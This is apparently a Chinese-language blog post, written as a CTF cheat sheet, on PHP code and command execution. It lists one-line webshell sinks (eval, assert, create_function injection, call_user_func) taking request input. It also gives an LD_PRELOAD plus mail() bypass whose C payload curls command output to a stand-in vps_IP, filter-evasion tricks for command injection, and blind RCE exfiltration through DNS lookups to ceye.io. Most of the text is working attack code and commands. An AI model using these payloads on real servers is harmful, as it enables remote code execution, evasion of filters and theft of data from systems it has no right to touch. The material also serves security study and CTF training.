PHP代码执行

执行代码的几种方式

${}执行代码

<?php
    ${phpinfo()};
?>

eval()执行代码

<?php
    eval('echo 2;');
?>

assert()

//?a=phpinfo()
<?php 
    assert($_POST['a']);
?>

assert函数支持动态调用

//?a=phpinfo()
<?php
    $a = 'assert';
    $a($_POST['a']);
?>

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

preg_replace()

preg_replace 执行一个正则表达式的搜索和替换。执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');

create_function()

该函数用来创建匿名函数。

<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

array_map()

漏洞演示:

//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

call_user_func()/call_user_func_array()

// ?a=phpinfo();
call_user_func(assert,$_GET['a']);
//?a=phpinfo();
$array[0] = $_GET['a'];

call_user_func_array("assert",$array);

array_filter()

$array[0] = $_GET['a'];
array_filter($array,'assert');

usort()

详情看这里:http://www.am0s.com/functions/97.html

常用的命令执行函数

system()

➜ ~ php -r "system('whoami');"
silkage

eval()

  • eval()会把字符串按照php代码来执行(合法的php代码,以分号结尾)

  • eval()是一个语言构造器,不能被可变函数调用

$a = $_POST['cmd1'];
eval($a);

passthru()

调用shell命令,把命令的执行结果输出到标准输出设备上

➜ ~ php -r "passthru('whoami');"
silkage

exec()

不输出结果,返回shell命令执行结果的最后一行

➜ ~ php -r "echo exec('whoami');"
silkage

pcntl_exec() ——–

shell_exec()

不输出结果,返回shell命令执行的所有结果

➜ ~ php -r "echo shell_exec('whoami');"
silkage

popen()

proc_open()

`反引号

加了反引号的字符串将尝试作为外壳命令来执行,并将奇输出信息返回。

➜ ~ php -r "echo @`whoami`;"
silkage

ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。 内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

 使用

<?php
    ob_start("system");
    echo "whoami";
    ob_end_flush();
?>
//输出www-data

mail函数+LD_PRELOAD执行系统命令

思路

LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

利用

a.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h> 
int main(){

void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
} 
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}

编译

gcc -c -fPIC a.c -o a 

gcc -shared a -o a.so

mail.php

<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>

监听vps的4123端口,访问mail.php。

ctf中的绕过tips:

空格的绕过:

1.< 重定向,如 cat<flag.php
2.<> 重定向,如 cat<>flag.php
3.%09 需要php环境,如cat%09flag.php
4.${IFS} 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
5.$IFS$9 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
6.在Linux bash中还可以使用{cat,/flag.txt}来绕过

字符串的绕过:

1.变量控制(字符串拼接): a=l;b=s;$a$b
2.编码绕过:
  base64,并不是很好用,因为base64有时候会出现'/'字符
3.单双引号:ca""t fl""ag.txt
4.反斜杠:cat flag.txt
5.通配符*?:cat fla?.txt *代表若干字符,?代表一个字符
6.采用$@绕过: cat fl$@ag.txt
7.利用已经存在的资源:

echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH | cut -c 1
/

tips:ip转换成数字:http://www.msxindl.com/tools/ip/ip_num.asp

无回显的RCE

这里我用到了一个dnslog的利用平台:

http://ceye.io/profile

注册一个账号就可以得到唯一的 Identifier:xxxxxx.ceye.io

各种漏洞的测试方法都在http://ceye.io/payloads里面有介绍,这里就不一一解释了。只测试一个简单的命令执行。

记录在http request

目标服务器test.php后端源码:

<?php
    $a = $_GET['id'];
    system("$a");
?>

攻击机:

然后就可以看到ceye平台的http requests已经记录了请求

 成功回显了root

记录在http query中 

DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。 举个例子

在注册ceye.io之后会分配一个三级域名。就是******.ceye.io。

ping `whoami`.******.ceye.io

上面这条命令最终在ping的时候ping的是“root.******.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。(个人理解,如有错误,烦请指出。)

所以这种方法的使用必须有ping命令。

利用dnslog进行数据外带的原理请看我的另一篇文章:

https://www.cnblogs.com/Silkage/p/13178032.html

原文地址:https://www.cnblogs.com/Silkage/p/13167143.html